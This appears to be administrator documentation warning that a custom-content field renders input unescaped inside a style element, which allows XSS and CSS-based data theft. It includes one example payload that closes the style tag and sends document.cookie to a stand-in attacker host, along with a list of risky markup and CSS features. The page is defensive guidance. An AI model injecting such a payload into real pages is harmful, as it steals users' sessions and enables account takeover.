Security Notes for Unescaped Content

Theresa Henze - 2026-09-10 - Miscellaneous

Custom Content: Security Considerations

This field lets administrators inject content into user-facing pages. The input is placed inside a `<style>` context, but it is rendered **unchecked and unescaped**, so it is not limited to styling. With the right input it can run as active content in your users' browsers, which makes it one of the most security-sensitive settings in the application. Treat whatever you enter here as trusted, security-sensitive code.

Why This Is a Security Concern

Because the value is inserted verbatim, it can do two very different classes of damage.

It can break out of the style context. A `</style>` sequence anywhere in the input closes the style element early. Everything after it is then parsed as ordinary HTML, including `script` HTML tags, event-handler attributes, and `<iframe>` or `<img>` elements. At that point the input is no longer "just CSS": it is full HTML and JavaScript injection (cross-site scripting, XSS), with all the capabilities a script has on the page.

Even without breaking out, CSS alone is dangerous. Modern CSS can load external resources and react to the content and state of the page, which is enough to steal data and deceive users without a single line of script.

The input runs directly in your users' browsers, in the context of your application and their session.

What Malicious Content Can Do

Full script injection (XSS)

Once the input breaks out of the `<style>` context, an attacker can run arbitrary JavaScript in your users' browsers. That allows, among other things:

- reading and exfiltrating session cookies, tokens, and any data visible to the page;
- performing actions as the logged-in user (changing settings, resetting passwords, deleting data);
- rewriting the page, injecting fake forms, or redirecting users;
- true keylogging by listening to keyboard events directly.

```
</style><script>
  fetch("https://attacker.example/leak?c=" + encodeURIComponent(document.cookie));
</script>
```

This is the most severe case, because a script can do essentially anything the user can do.

CSS-based attacks

Although CSS cannot execute scripts like JavaScript, modern CSS is powerful enough to steal data, deceive users, and hide information.

> **Note:** See Security Notes for Custom CSS for more details on the risks of CSS.

Why This Matters

Leaking a security token or session cookie can let an attacker act as the user, and exfiltrating personal data is a breach. Script injection raises the stakes further, because it hands an attacker the full capabilities of the page. Because much of this can happen without an obvious `script` HTML tag, and because the field looks like "just CSS", the risk is easy to underestimate and often slips past filters focused on JavaScript.

What You Should Do

- **Only enter content from sources you fully trust.** Treat it like any code you would run in your application, because effectively that is what it is.
- **Read it before saving.** Be suspicious of anything resembling markup (especially (opening and closing) HTML tags like `style`, `script`, `iframe`, `img`, or `on...=` event attributes), as well as external URLs (`url(...)`), attribute selectors on inputs (`[value^=...]`), `@font-face` / `unicode-range`, and aggressive positioning or `z-index` values.
- **Keep it minimal.** Smaller, simpler input is easier to review and leaves less room for something harmful to hide.
- **When in doubt, don’t save it.** If you can’t account for what the input does, leave it out.
- **Configure a restrictive Content Security Policy (CSP).** A strong CSP is your most important technical safeguard here. Restrict `script-src` to trusted origins (and avoid `'unsafe-inline'`) to blunt injected scripts, and restrict `img-src`, `style-src`, and `font-src` (or `connect-src`) to limit data exfiltration via `url(...)` and `@font-face`.

If you are unsure whether a given input is safe, have someone with security or front-end experience review it before applying it to user-facing pages.